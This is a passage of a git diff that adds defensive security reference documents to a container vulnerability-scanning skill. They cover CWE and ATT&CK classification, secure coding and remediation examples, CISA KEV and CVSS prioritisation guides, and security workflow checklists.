Weakness Enumeration categories for precise vulnerability classification: + +#### Injection Vulnerabilities +- **CWE-78**: OS Command Injection +- **CWE-79**: Cross-site Scripting (XSS) +- **CWE-89**: SQL Injection +- **CWE-90**: LDAP Injection +- **CWE-91**: XML Injection +- **CWE-94**: Code Injection + +#### Authentication & Authorization +- **CWE-287**: Improper Authentication +- **CWE-288**: Authentication Bypass Using Alternate Path +- **CWE-290**: Authentication Bypass by Spoofing +- **CWE-294**: Authentication Bypass by Capture-replay +- **CWE-306**: Missing Authentication for Critical Function +- **CWE-307**: Improper Restriction of Excessive Authentication Attempts +- **CWE-352**: Cross-Site Request Forgery (CSRF) + +#### Cryptographic Issues +- **CWE-256**: Plaintext Storage of Password +- **CWE-259**: Use of Hard-coded Password +- **CWE-261**: Weak Encoding for Password +- **CWE-321**: Use of Hard-coded Cryptographic Key +- **CWE-326**: Inadequate Encryption Strength +- **CWE-327**: Use of Broken or Risky Cryptographic Algorithm +- **CWE-329**: Not Using a Random IV with CBC Mode +- **CWE-798**: Use of Hard-coded Credentials + +#### Input Validation +- **CWE-20**: Improper Input Validation +- **CWE-73**: External Control of File Name or Path +- **CWE-434**: Unrestricted Upload of File with Dangerous Type +- **CWE-601**: URL Redirection to Untrusted Site + +#### Sensitive Data Exposure +- **CWE-200**: Information Exposure +- **CWE-209**: Information Exposure Through Error Message +- **CWE-312**: Cleartext Storage of Sensitive Information +- **CWE-319**: Cleartext Transmission of Sensitive Information +- **CWE-532**: Information Exposure Through Log Files + +**Usage**: Include CWE identifier in all vulnerability reports for standardized classification. + +### MITRE ATT&CK + +Reference relevant tactics and techniques for threat context: + +#### Initial Access (TA0001) +- **T1190**: Exploit Public-Facing Application +- **T1133**: External Remote Services +- **T1078**: Valid Accounts + +#### Execution (TA0002) +- **T1059**: Command and Scripting Interpreter +- **T1203**: Exploitation for Client Execution + +#### Persistence (TA0003) +- **T1098**: Account Manipulation +- **T1136**: Create Account +- **T1505**: Server Software Component + +#### Privilege Escalation (TA0004) +- **T1068**: Exploitation for Privilege Escalation +- **T1548**: Abuse Elevation Control Mechanism + +#### Defense Evasion (TA0005) +- **T1027**: Obfuscated Files or Information +- **T1140**: Deobfuscate/Decode Files or Information +- **T1562**: Impair Defenses + +#### Credential Access (TA0006) +- **T1110**: Brute Force +- **T1555**: Credentials from Password Stores +- **T1552**: Unsecured Credentials + +#### Discovery (TA0007) +- **T1083**: File and Directory Discovery +- **T1046**: Network Service Scanning + +#### Collection (TA0009) +- **T1005**: Data from Local System +- **T1114**: Email Collection + +#### Exfiltration (TA0010) +- **T1041**: Exfiltration Over C2 Channel +- **T1567**: Exfiltration Over Web Service + +**Usage**: When identifying vulnerabilities, consider which ATT&CK techniques an attacker could use to exploit them. + +--- + +## Remediation Patterns + +This section provides specific remediation guidance for common vulnerability types. + +### SQL Injection Remediation + +**Step 1: Identify vulnerable queries** +- Search for string concatenation in SQL queries +- Check for f-strings or format() with SQL keywords +- Review all database interaction code + +**Step 2: Apply parameterized queries** + +```python +# Python with sqlite3 +cursor.execute("SELECT * FROM users WHERE id = ?", (user_id,)) + +# Python with psycopg2 (PostgreSQL) +cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,)) + +# Python with SQLAlchemy (ORM) +from sqlalchemy import text +result = session.execute(text("SELECT * FROM users WHERE id = :id"), {"id": user_id}) +``` + +**Step 3: Validate and sanitize input** (defense in depth) +```python +import re + +# Validate input format +if not re.match(r'^\d+$', user_id): + raise ValueError("Invalid user ID format") + +# Use ORM query builders +user = User.query.filter_by(id=user_id).first() +``` + +**Step 4: Implement least privilege** +- Database user should have minimum required permissions +- Use read-only accounts for SELECT operations +- Never use admin/root accounts for application queries + +### XSS Remediation + +**Step 1: Enable auto-escaping** +- Most modern frameworks escape by default +- Ensure auto-escaping is not disabled + +**Step 2: Use framework-specific safe methods** + +```javascript +// React: Use JSX (auto-escapes) +
{userInput}
+ +// Vue: Use template syntax (auto-escapes) +
{{ userInput }}
+ +// Angular: Use property binding (auto-escapes) +
+``` + +**Step 3: Sanitize when HTML is required** + +```javascript +import DOMPurify from 'dompurify'; + +// Sanitize HTML content +const clean = DOMPurify.sanitize(userHTML, { + ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'p'], + ALLOWED_ATTR: [] +}); +``` + +**Step 4: Content Security Policy (CSP)** + +```html + +Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-{random}' +``` + +--- + +## Advanced Configuration + +This section contains detailed configuration options and tuning parameters. + +### Example: SAST Tool Configuration + +```yaml +# Advanced security scanner configuration +scanner: + # Severity threshold + severity_threshold: MEDIUM + + # Rule configuration + rules: + enabled: + - sql-injection + - xss + - hardcoded-secrets + disabled: + - informational-only + + # False positive reduction + confidence_threshold: HIGH + exclude_patterns: + - "*/test/*" + - "*/tests/*" + - "*/node_modules/*" + - "*.test.js" + - "*.spec.ts" + + # Performance tuning + max_file_size_kb: 2048 + timeout_seconds: 300 + parallel_jobs: 4 + + # Output configuration + output_format: json + include_code_snippets: true + max_snippet_lines: 10 +``` + +--- + +## Examples and Code Samples + +This section provides comprehensive code examples for various scenarios. + +### Example 1: Secure API Authentication + +```python +# Secure API key handling +import os +from functools import wraps +from flask import Flask, request, jsonify + +app = Flask(__name__) + +# Load API key from environment (never hardcode) +VALID_API_KEY = os.environ.get('API_KEY') +if not VALID_API_KEY: + raise ValueError("API_KEY environment variable not set") + +def require_api_key(f): + @wraps(f) + def decorated_function(*args, **kwargs): + api_key = request.headers.get('X-API-Key') + + if not api_key: + return jsonify({'error': 'API key required'}), 401 + + # Constant-time comparison to prevent timing attacks + import hmac + if not hmac.compare_digest(api_key, VALID_API_KEY): + return jsonify({'error': 'Invalid API key'}), 403 + + return f(*args, **kwargs) + return decorated_function + +@app.route('/api/secure-endpoint') +@require_api_key +def secure_endpoint(): + return jsonify({'message': 'Access granted'}) +``` + +### Example 2: Secure Password Hashing + +```python +# Secure password storage with bcrypt +import bcrypt + +def hash_password(password: str) -> str: + """Hash a password using bcrypt.""" + # Generate salt and hash password + salt = bcrypt.gensalt(rounds=12) # Cost factor: 12 (industry standard) + hashed = bcrypt.hashpw(password.encode('utf-8'), salt) + return hashed.decode('utf-8') + +def verify_password(password: str, hashed: str) -> bool: + """Verify a password against a hash.""" + return bcrypt.checkpw( + password.encode('utf-8'), + hashed.encode('utf-8') + ) + +# Usage +stored_hash = hash_password("user_password") +is_valid = verify_password("user_password", stored_hash) # True +``` + +### Example 3: Secure File Upload + +```python +# Secure file upload with validation +import os +import magic +from werkzeug.utils import secure_filename + +ALLOWED_EXTENSIONS = {'pdf', 'png', 'jpg', 'jpeg'} +ALLOWED_MIME_TYPES = { + 'application/pdf', + 'image/png', + 'image/jpeg' +} +MAX_FILE_SIZE = 5 * 1024 * 1024 # 5 MB + +def is_allowed_file(filename: str, file_content: bytes) -> bool: + """Validate file extension and MIME type.""" + # Check extension + if '.' not in filename: + return False + + ext = filename.rsplit('.', 1)[1].lower() + if ext not in ALLOWED_EXTENSIONS: + return False + + # Check MIME type (prevent extension spoofing) + mime = magic.from_buffer(file_content, mime=True) + if mime not in ALLOWED_MIME_TYPES: + return False + + return True + +def handle_upload(file): + """Securely handle file upload.""" + # Check file size + file.seek(0, os.SEEK_END) + size = file.tell() + file.seek(0) + + if size > MAX_FILE_SIZE: + raise ValueError("File too large") + + # Read content for validation + content = file.read() + file.seek(0) + + # Validate file type + if not is_allowed_file(file.filename, content): + raise ValueError("Invalid file type") + + # Sanitize filename + filename = secure_filename(file.filename) + + # Generate unique filename to prevent overwrite attacks + import uuid + unique_filename = f"{uuid.uuid4()}_{filename}" + + # Save to secure location (outside web root) + upload_path = os.path.join('/secure/uploads', unique_filename) + file.save(upload_path) + + return unique_filename +``` + +--- + +## Best Practices for Reference Documents + +1. **Start with "When to use"** - Help Claude know when to load this reference +2. **Include table of contents** - For documents >100 lines +3. **Use concrete examples** - Code samples with vulnerable and fixed versions +4. **Map to frameworks** - OWASP, CWE, MITRE ATT&CK for context +5. **Provide remediation** - Don't just identify issues, show how to fix them +6. **Organize logically** - Group related content, use clear headings +7. **Keep examples current** - Use modern patterns and current framework versions +8. **Be concise** - Even in references, challenge every sentence diff --git a/skills/devsecops/container-grype/references/WORKFLOW_CHECKLIST.md b/skills/devsecops/container-grype/references/WORKFLOW_CHECKLIST.md new file mode 100644 index 0000000..eff0234 --- /dev/null +++ b/skills/devsecops/container-grype/references/WORKFLOW_CHECKLIST.md @@ -0,0 +1,253 @@ +# Workflow Checklist Template + +This template demonstrates workflow patterns for security operations. Copy and adapt these checklists to your specific skill needs. + +## Pattern 1: Sequential Workflow Checklist + +Use this pattern for operations that must be completed in order, step-by-step. + +### Security Assessment Workflow + +Progress: +[ ] 1. Identify application entry points and attack surface +[ ] 2. Map authentication and authorization flows +[ ] 3. Identify data flows and sensitive data handling +[ ] 4. Review existing security controls +[ ] 5. Document findings with framework references (OWASP, CWE) +[ ] 6. Prioritize findings by severity (CVSS scores) +[ ] 7. Generate report with remediation recommendations + +Work through each step systematically. Check off completed items. + +--- + +## Pattern 2: Conditional Workflow + +Use this pattern when the workflow branches based on findings or conditions. + +### Vulnerability Remediation Workflow + +1. Identify vulnerability type + - If SQL Injection → See [sql-injection-remediation.md](sql-injection-remediation.md) + - If XSS (Cross-Site Scripting) → See [xss-remediation.md](xss-remediation.md) + - If Authentication flaw → See [auth-remediation.md](auth-remediation.md) + - If Authorization flaw → See [authz-remediation.md](authz-remediation.md) + - If Cryptographic issue → See [crypto-remediation.md](crypto-remediation.md) + +2. Assess severity using CVSS calculator + - If CVSS >= 9.0 → Priority: Critical (immediate action) + - If CVSS 7.0-8.9 → Priority: High (action within 24h) + - If CVSS 4.0-6.9 → Priority: Medium (action within 1 week) + - If CVSS < 4.0 → Priority: Low (action within 30 days) + +3. Apply appropriate remediation pattern +4. Validate fix with security testing +5. Document changes and update security documentation + +--- + +## Pattern 3: Iterative Workflow + +Use this pattern for operations that repeat across multiple targets or items. + +### Code Security Review Workflow + +For each file in the review scope: +1. Identify security-sensitive operations (auth, data access, crypto, input handling) +2. Check against secure coding patterns for the language +3. Flag potential vulnerabilities with severity rating +4. Map findings to CWE and OWASP categories +5. Suggest specific remediation approaches +6. Document finding with code location and fix priority + +Continue until all files in scope have been reviewed. + +--- + +## Pattern 4: Feedback Loop Workflow + +Use this pattern when validation and iteration are required. + +### Secure Configuration Generation Workflow + +1. Generate initial security configuration based on requirements +2. Run validation script: `./scripts/validate_config.py config.yaml` +3. Review validation output: + - Note all errors (must fix) + - Note all warnings (should fix) + - Note all info items (consider) +4. Fix identified issues in configuration +5. Repeat steps 2-4 until validation passes with zero errors +6. Review warnings and determine if they should be addressed +7. Apply configuration once validation is clean + +**Validation Loop**: Run validator → Fix errors → Repeat until clean + +--- + +## Pattern 5: Parallel Analysis Workflow + +Use this pattern when multiple independent analyses can run concurrently. + +### Comprehensive Security Scan Workflow + +Run these scans in parallel: + +**Static Analysis**: +[ ] 1a. Run SAST scan (Semgrep/Bandit) +[ ] 1b. Run dependency vulnerability scan (Safety/npm audit) +[ ] 1c. Run secrets detection (Gitleaks/TruffleHog) +[ ] 1d. Run license compliance check + +**Dynamic Analysis**: +[ ] 2a. Run DAST scan (ZAP/Burp) +[ ] 2b. Run API security testing +[ ] 2c. Run authentication/authorization testing + +**Infrastructure Analysis**: +[ ] 3a. Run infrastructure-as-code scan (Checkov/tfsec) +[ ] 3b. Run container image scan (Trivy/Grype) +[ ] 3c. Run configuration review + +**Consolidation**: +[ ] 4. Aggregate all findings +[ ] 5. Deduplicate and correlate findings +[ ] 6. Prioritize by risk (CVSS + exploitability + business impact) +[ ] 7. Generate unified security report + +--- + +## Pattern 6: Research and Documentation Workflow + +Use this pattern for security research and documentation tasks. + +### Threat Modeling Workflow + +Research Progress: +[ ] 1. Identify system components and boundaries +[ ] 2. Map data flows between components +[ ] 3. Identify trust boundaries +[ ] 4. Enumerate assets (data, services, credentials) +[ ] 5. Apply STRIDE framework to each component: + - Spoofing threats + - Tampering threats + - Repudiation threats + - Information disclosure threats + - Denial of service threats + - Elevation of privilege threats +[ ] 6. Map threats to MITRE ATT&CK techniques +[ ] 7. Identify existing mitigations +[ ] 8. Document residual risks +[ ] 9. Recommend additional security controls +[ ] 10. Generate threat model document + +Work through each step systematically. Check off completed items. + +--- + +## Pattern 7: Compliance Validation Workflow + +Use this pattern for compliance checks against security standards. + +### Security Compliance Audit Workflow + +**SOC 2 Controls Review**: +[ ] 1. Review access control policies (CC6.1, CC6.2, CC6.3) +[ ] 2. Verify logical access controls implementation (CC6.1) +[ ] 3. Review authentication mechanisms (CC6.1) +[ ] 4. Verify encryption implementation (CC6.1, CC6.7) +[ ] 5. Review audit logging configuration (CC7.2) +[ ] 6. Verify security monitoring (CC7.2, CC7.3) +[ ] 7. Review incident response procedures (CC7.3, CC7.4) +[ ] 8. Verify backup and recovery processes (A1.2, A1.3) + +**Evidence Collection**: +[ ] 9. Collect policy documents +[ ] 10. Collect configuration screenshots +[ ] 11. Collect audit logs +[ ] 12. Document control gaps +[ ] 13. Generate compliance report + +--- + +## Pattern 8: Incident Response Workflow + +Use this pattern for security incident handling. + +### Security Incident Response Workflow + +**Detection and Analysis**: +[ ] 1. Confirm security incident (rule out false positive) +[ ] 2. Determine incident severity (SEV1/2/3/4) +[ ] 3. Identify affected systems and data +[ ] 4. Preserve evidence (logs, memory dumps, network captures) + +**Containment**: +[ ] 5. Isolate affected systems (network segmentation) +[ ] 6. Disable compromised accounts +[ ] 7. Block malicious indicators (IPs, domains, hashes) +[ ] 8. Implement temporary compensating controls + +**Eradication**: +[ ] 9. Identify root cause +[ ] 10. Remove malicious artifacts (malware, backdoors, webshells) +[ ] 11. Patch vulnerabilities exploited +[ ] 12. Reset compromised credentials + +**Recovery**: +[ ] 13. Restore systems from clean backups (if needed) +[ ] 14. Re-enable systems with monitoring +[ ] 15. Verify system integrity +[ ] 16. Resume normal operations + +**Post-Incident**: +[ ] 17. Document incident timeline +[ ] 18. Identify lessons learned +[ ] 19. Update security controls to prevent recurrence +[ ] 20. Update incident response procedures +[ ] 21. Communicate with stakeholders + +--- + +## Usage Guidelines + +### When to Use Workflow Checklists + +✅ **Use checklists for**: +- Complex multi-step operations +- Operations requiring specific order +- Security assessments and audits +- Incident response procedures +- Compliance validation tasks + +❌ **Don't use checklists for**: +- Simple single-step operations +- Highly dynamic exploratory work +- Operations that vary significantly each time + +### Adapting This Template + +1. **Copy relevant pattern** to your skill's SKILL.md or create new reference file +2. **Customize steps** to match your specific security tool or process +3. **Add framework references** (OWASP, CWE, NIST) where applicable +4. **Include tool-specific commands** for automation +5. **Add decision points** where manual judgment is required + +### Checklist Best Practices + +- **Be specific**: "Run semgrep --config=auto ." not "Scan the code" +- **Include success criteria**: "Validation passes with 0 errors" +- **Reference standards**: Link to OWASP, CWE, NIST where relevant +- **Show progress**: Checkbox format helps track completion +- **Provide escape hatches**: "If validation fails, see troubleshooting.md" + +### Integration with Feedback Loops + +Combine checklists with validation scripts for maximum effectiveness: + +1. Create checklist for the workflow +2. Provide validation script that checks quality +3. Include "run validator" step in checklist +4. Loop: Complete step → Validate → Fix issues → Re-validate + +This pattern dramatically improves output quality through systematic validation. diff --git a/skills/devsecops/container-grype/references/cisa_kev.md b/skills/devsecops/container-grype/references/cisa_kev.md new file mode 100644 index 0000000..636b929 --- /dev/null +++ b/skills/devsecops/container-grype/references/cisa_kev.md @@ -0,0 +1,225 @@ +# CISA Known Exploited Vulnerabilities (KEV) Catalog + +CISA's Known Exploited Vulnerabilities (KEV) catalog identifies CVEs with confirmed active exploitation in the wild. + +## Table of Contents +- [What is KEV](#what-is-kev) +- [Why KEV Matters](#why-kev-matters) +- [KEV in Grype](#kev-in-grype) +- [Remediation Urgency](#remediation-urgency) +- [Federal Requirements](#federal-requirements) + +## What is KEV + +The Cybersecurity and Infrastructure Security Agency (CISA) maintains a catalog of vulnerabilities that: +1. Have **confirmed active exploitation** in real-world attacks +2. Present **significant risk** to federal enterprise and critical infrastructure +3. Require **prioritized remediation** + +**Key Points**: +- KEV listings indicate **active, ongoing exploitation**, not theoretical risk +- Being in KEV catalog means attackers have weaponized the vulnerability +- KEV CVEs should be treated as **highest priority** regardless of CVSS score + +## Why KEV Matters + +### Active Threat Indicator + +**KEV presence means**: +- Exploit code is publicly available or in active use by threat actors +- Attackers are successfully exploiting this vulnerability +- Your organization is likely a target if running vulnerable software + +### Prioritization Signal + +**CVSS vs KEV**: +- CVSS: Theoretical severity based on technical characteristics +- KEV: Proven real-world exploitation + +**Example**: +- CVE with CVSS 6.5 (Medium) but KEV listing → **Prioritize over CVSS 9.0 (Critical) without KEV** +- Active exploitation trumps theoretical severity + +### Compliance Requirement + +**BOD 22-01**: Federal agencies must remediate KEV vulnerabilities within specified timeframes +- Many commercial organizations adopt similar policies +- SOC2, PCI-DSS, and other frameworks increasingly reference KEV + +## KEV in Grype + +### Detecting KEV in Scans + +Grype includes KEV data in vulnerability assessments: + +```bash +# Standard scan includes KEV indicators +grype -o json > results.json + +# Check for KEV matches +grep -i "kev" results.json +``` + +**Grype output indicators**: +- `dataSource` field may include KEV references +- Some vulnerabilities explicitly marked as CISA KEV + +### Filtering KEV Vulnerabilities + +Use the prioritization script to extract KEV matches: + +```bash +./scripts/prioritize_cves.py results.json +``` + +Output shows `[KEV]` indicator for confirmed KEV vulnerabilities. + +### Automated KEV Alerting + +Integrate KEV detection into CI/CD: + +```bash +# Fail build on any KEV vulnerability +grype -o json | \ + jq '.matches[] | select(.vulnerability.dataSource | contains("KEV"))' | \ + jq -s 'if length > 0 then error("KEV vulnerabilities found") else empty end' +``` + +## Remediation Urgency + +### BOD 22-01 Timeframes + +CISA Binding Operational Directive 22-01 requires: + +| Vulnerability Type | Remediation Deadline | +|-------------------|---------------------| +| KEV listed before directive | 2 weeks from BOD publication | +| Newly added KEV | 2 weeks from KEV addition | +| Critical KEV (discretionary) | Immediate (24-48 hours) | + +### Commercial Best Practices + +**Recommended SLAs for KEV vulnerabilities**: + +1. **Immediate Response (0-24 hours)**: + - Assess exposure and affected systems + - Implement temporary mitigations (disable feature, block network access) + - Notify security leadership and stakeholders + +2. **Emergency Patching (24-48 hours)**: + - Deploy patches to production systems + - Validate remediation with re-scan + - Document patch deployment + +3. **Validation and Monitoring (48-72 hours)**: + - Verify all instances patched + - Check logs for exploitation attempts + - Update detection rules and threat intelligence + +### Temporary Mitigations + +If immediate patching is not possible: + +**Network-Level Controls**: +- Block external access to vulnerable services +- Segment vulnerable systems from critical assets +- Deploy Web Application Firewall (WAF) rules + +**Application-Level Controls**: +- Disable vulnerable features or endpoints +- Implement additional authentication requirements +- Enable enhanced logging and monitoring + +**Operational Controls**: +- Increase security monitoring for affected systems +- Deploy compensating detective controls +- Schedule emergency maintenance window + +## Federal Requirements + +### Binding Operational Directive 22-01 + +**Scope**: All federal civilian executive branch (FCEB) agencies + +**Requirements**: +1. Remediate KEV vulnerabilities within required timeframes +2. Report remediation status to CISA +3. Document exceptions and compensating controls + +**Penalties**: Non-compliance may result in: +- Required reporting to agency leadership +- Escalation to Office of Management and Budget (OMB) +- Potential security authorization impacts + +### Extending to Commercial Organizations + +Many commercial organizations adopt KEV-based policies: + +**Rationale**: +- KEV represents highest-priority threats +- Federal government invests in threat intelligence +- Following KEV reduces actual breach risk + +**Implementation**: +- Monitor KEV catalog for relevant CVEs +- Integrate KEV data into vulnerability management +- Define internal KEV remediation SLAs +- Report KEV status to leadership and audit teams + +## Monitoring KEV Updates + +### CISA KEV Catalog + +Access the catalog: +- **Web**: https://www.cisa.gov/known-exploited-vulnerabilities-catalog +- **JSON**: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json +- **CSV**: https://www.cisa.gov/sites/default/files/csv/known_exploited_vulnerabilities.csv + +### Automated Monitoring + +Track new KEV additions: + +```bash +# Download current KEV catalog +curl -s https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json \ + -o kev-catalog.json + +# Compare against previous download +diff kev-catalog-previous.json kev-catalog.json +``` + +**Subscribe to updates**: +- CISA cybersecurity alerts: https://www.cisa.gov/cybersecurity-alerts +- RSS feeds for KEV additions +- Security vendor threat intelligence feeds + +## Response Workflow + +### KEV Vulnerability Detected + +Progress: +[ ] 1. **Identify** affected systems: Run Grype scan across all environments +[ ] 2. **Assess** exposure: Determine if vulnerable systems are internet-facing or critical +[ ] 3. **Contain** risk: Implement temporary mitigations (network blocks, feature disable) +[ ] 4. **Remediate**: Deploy patches or upgrades to all affected systems +[ ] 5. **Validate**: Re-scan with Grype to confirm vulnerability resolved +[ ] 6. **Monitor**: Review logs for exploitation attempts during vulnerable window +[ ] 7. **Document**: Record timeline, actions taken, and lessons learned + +Work through each step systematically. Check off completed items. + +### Post-Remediation Analysis + +After resolving KEV vulnerability: + +1. **Threat Hunting**: Search logs for indicators of compromise (IOC) +2. **Root Cause**: Determine why vulnerable software was deployed +3. **Process Improvement**: Update procedures to prevent recurrence +4. **Reporting**: Notify stakeholders and compliance teams + +## References + +- [CISA KEV Catalog](https://www.cisa.gov/known-exploited-vulnerabilities-catalog) +- [BOD 22-01: Reducing the Significant Risk of Known Exploited Vulnerabilities](https://www.cisa.gov/news-events/directives/bod-22-01-reducing-significant-risk-known-exploited-vulnerabilities) +- [KEV Catalog JSON Feed](https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json) +- [CISA Cybersecurity Alerts](https://www.cisa.gov/cybersecurity-alerts) diff --git a/skills/devsecops/container-grype/references/cvss_guide.md b/skills/devsecops/container-grype/references/cvss_guide.md new file mode 100644 index 0000000..d9bfa6b --- /dev/null +++ b/skills/devsecops/container-grype/references/cvss_guide.md @@ -0,0 +1,210 @@ +# CVSS Severity Rating Guide + +Common Vulnerability Scoring System (CVSS) is a standardized framework for rating vulnerability severity. + +## Table of Contents +- [CVSS Score Ranges](#cvss-score-ranges) +- [Severity Ratings](#severity-ratings) +- [CVSS Metrics](#cvss-metrics) +- [Interpreting Scores](#interpreting-scores) +- [Remediation SLAs](#remediation-slas) + +## CVSS Score Ranges + +| CVSS Score | Severity Rating | Description | +|------------|----------------|-------------| +| 0.0 | None | No vulnerability | +| 0.1 - 3.9 | Low | Minimal security impact | +| 4.0 - 6.9 | Medium | Moderate security impact | +| 7.0 - 8.9 | High | Significant security impact | +| 9.0 - 10.0 | Critical | Severe security impact | + +## Severity Ratings + +### Critical (9.0 - 10.0) + +**Characteristics**: +- Trivial to exploit +- No user interaction required +- Remote code execution or complete system compromise +- Affects default configurations + +**Examples**: +- Unauthenticated remote code execution +- Critical SQL injection allowing full database access +- Authentication bypass in critical services + +**Action**: Remediate immediately (within 24-48 hours) + +### High (7.0 - 8.9) + +**Characteristics**: +- Easy to exploit with moderate skill +- May require user interaction or specific conditions +- Significant data exposure or privilege escalation +- Affects common configurations + +**Examples**: +- Authenticated remote code execution +- Cross-site scripting (XSS) in privileged contexts +- Privilege escalation vulnerabilities + +**Action**: Remediate within 7 days + +### Medium (4.0 - 6.9) + +**Characteristics**: +- Requires specific conditions or elevated privileges +- Limited impact or scope +- May require local access or user interaction + +**Examples**: +- Information disclosure of non-sensitive data +- Denial of service with mitigating factors +- Cross-site request forgery (CSRF) + +**Action**: Remediate within 30 days + +### Low (0.1 - 3.9) + +**Characteristics**: +- Difficult to exploit +- Minimal security impact +- Requires significant user interaction or unlikely conditions + +**Examples**: +- Information leakage of minimal data +- Low-impact denial of service +- Security misconfigurations with limited exposure + +**Action**: Remediate within 90 days or next maintenance cycle + +## CVSS Metrics + +CVSS v3.1 scores are calculated from three metric groups: + +### Base Metrics (Primary Factors) + +**Attack Vector (AV)**: +- Network (N): Remotely exploitable +- Adjacent (A): Requires local network access +- Local (L): Requires local system access +- Physical (P): Requires physical access + +**Attack Complexity (AC)**: +- Low (L): No specialized conditions required +- High (H): Requires specific conditions or expert knowledge + +**Privileges Required (PR)**: +- None (N): No authentication needed +- Low (L): Basic user privileges required +- High (H): Administrator privileges required + +**User Interaction (UI)**: +- None (N): No user interaction required +- Required (R): Requires user action (e.g., clicking a link) + +**Scope (S)**: +- Unchanged (U): Vulnerability affects only the vulnerable component +- Changed (C): Vulnerability affects resources beyond the vulnerable component + +**Impact Metrics** (Confidentiality, Integrity, Availability): +- None (N): No impact +- Low (L): Limited impact +- High (H): Total or serious impact + +### Temporal Metrics (Optional) + +Time-dependent factors: +- Exploit Code Maturity +- Remediation Level +- Report Confidence + +### Environmental Metrics (Optional) + +Organization-specific factors: +- Modified Base Metrics +- Confidentiality/Integrity/Availability Requirements + +## Interpreting Scores + +### Context Matters + +CVSS scores should be interpreted in context: + +**High-Value Systems**: Escalate severity for: +- Production systems +- Customer-facing applications +- Systems handling PII or financial data +- Critical infrastructure + +**Low-Value Systems**: May de-prioritize for: +- Development/test environments +- Internal tools with limited access +- Deprecated systems scheduled for decommission + +### Complementary Metrics + +Consider alongside CVSS: + +**EPSS (Exploit Prediction Scoring System)**: +- Probability (0-100%) that a vulnerability will be exploited in the wild +- High EPSS + High CVSS = Urgent remediation + +**CISA KEV (Known Exploited Vulnerabilities)**: +- Active exploitation confirmed in the wild +- KEV presence overrides CVSS - remediate immediately + +**Reachability**: +- Is the vulnerable code path actually executed? +- Is the vulnerable dependency directly or transitively included? + +## Remediation SLAs + +### Industry Standard SLA Examples + +| Severity | Timeframe | Priority | +|----------|-----------|----------| +| Critical | 24-48 hours | P0 - Drop everything | +| High | 7 days | P1 - Next sprint | +| Medium | 30 days | P2 - Planned work | +| Low | 90 days | P3 - Maintenance cycle | + +### Adjusted for Exploitability + +**If CISA KEV or EPSS > 50%**: +- Reduce timeframe by 50% +- Example: High (7 days) → 3-4 days + +**If proof-of-concept exists**: +- Treat High as Critical +- Treat Medium as High + +**If actively exploited**: +- All severities become Critical (immediate remediation) + +## False Positives and Suppressions + +Not all reported vulnerabilities require immediate action: + +### Valid Suppression Reasons + +- **Not Reachable**: Vulnerable code path not executed +- **Mitigated**: Compensating controls in place (WAF, network segmentation) +- **Not Affected**: Version mismatch or platform-specific vulnerability +- **Risk Accepted**: Business decision with documented justification + +### Documentation Requirements + +For all suppressions: +1. CVE ID and affected package +2. Detailed justification +3. Approver and approval date +4. Review/expiration date (quarterly recommended) +5. Compensating controls if applicable + +## References + +- [CVSS v3.1 Specification](https://www.first.org/cvss/specification-document) +- [CVSS Calculator](https://www.first.org/cvss/calculator/3.1) +- [NVD CVSS Severity Distribution](https://nvd.nist.gov/vuln/severity-distribution) diff --git a/skills/devsecops/container-grype/references/vulnerability_remediation.md b/skills/devsecops/container-grype/references/vulnerability_remediation.md new file mode 100644 index 0000000..3603026 --- /dev/null +++ b/skills/devsecops/container-grype/references/vulnerability_remediation.md @@ -0,0 +1,510 @@ +# Vulnerability Remediation Patterns + +Common patterns for remediating dependency vulnerabilities detected by Grype. + +## Table of Contents +- [General Remediation Strategies](#general-remediation-strategies) +- [Package Update Patterns](#package-update-patterns) +- [Base Image Updates](#base-image-updates) +- [Dependency Pinning](#dependency-pinning) +- [Compensating Controls](#compensating-controls) +- [Language-Specific Patterns](#language-specific-patterns) + +## General Remediation Strategies + +### Strategy 1: Direct Dependency Update + +**When to use**: Vulnerability in a directly declared dependency + +**Pattern**: +1. Identify fixed version from Grype output +2. Update dependency version in manifest file +3. Test application compatibility +4. Re-scan to verify fix +5. Deploy updated application + +**Example**: +```bash +# Grype reports: lodash@4.17.15 has CVE-2020-8203, fixed in 4.17.19 +# Update package.json +npm install lodash@4.17.19 +npm test +grype dir:. --only-fixed +``` + +### Strategy 2: Transitive Dependency Update + +**When to use**: Vulnerability in an indirect dependency + +**Pattern**: +1. Identify which direct dependency includes the vulnerable package +2. Check if direct dependency has an update that resolves the issue +3. Update direct dependency or use dependency override mechanism +4. Re-scan to verify fix + +**Example (npm)**: +```json +// package.json - Override transitive dependency +{ + "overrides": { + "lodash": "^4.17.21" + } +} +``` + +**Example (pip)**: +```txt +# constraints.txt +lodash>=4.17.21 +``` + +### Strategy 3: Base Image Update + +**When to use**: Vulnerability in OS packages from container base image + +**Pattern**: +1. Identify vulnerable OS package and fixed version +2. Update to newer base image tag or rebuild with package updates +3. Re-scan updated image +4. Test application on new base image + +**Example**: +```dockerfile +# Before: Alpine 3.14 with vulnerable openssl +FROM alpine:3.14 + +# After: Alpine 3.19 with fixed openssl +FROM alpine:3.19 + +# Or: Explicit package update +FROM alpine:3.14 +RUN apk upgrade --no-cache openssl +``` + +### Strategy 4: Patch or Backport + +**When to use**: No fixed version available or update breaks compatibility + +**Pattern**: +1. Research if security patch exists separately from full version update +2. Apply patch using package manager's patching mechanism +3. Consider backporting fix if feasible +4. Document patch and establish review schedule + +**Example (npm postinstall)**: +```json +{ + "scripts": { + "postinstall": "patch-package" + } +} +``` + +### Strategy 5: Compensating Controls + +**When to use**: Fix not available and risk must be accepted + +**Pattern**: +1. Document vulnerability and risk acceptance +2. Implement network, application, or operational controls +3. Enhance monitoring and detection +4. Schedule regular review (quarterly) +5. Track for future remediation when fix becomes available + +## Package Update Patterns + +### Pattern: Semantic Versioning Updates + +**Minor/Patch Updates** (Generally Safe): +```bash +# Python: Update to latest patch version +pip install --upgrade 'package>=1.2.0,<1.3.0' + +# Node.js: Update to latest minor version +npm update package + +# Go: Update to latest patch +go get -u=patch github.com/org/package +``` + +**Major Updates** (Breaking Changes): +```bash +# Review changelog before updating +npm show package versions +pip index versions package + +# Update and test thoroughly +npm install package@3.0.0 +npm test +``` + +### Pattern: Lock File Management + +**Update specific package**: +```bash +# npm +npm install package@latest +npm install # Update lock file + +# pip +pip install --upgrade package +pip freeze > requirements.txt + +# Go +go get -u github.com/org/package +go mod 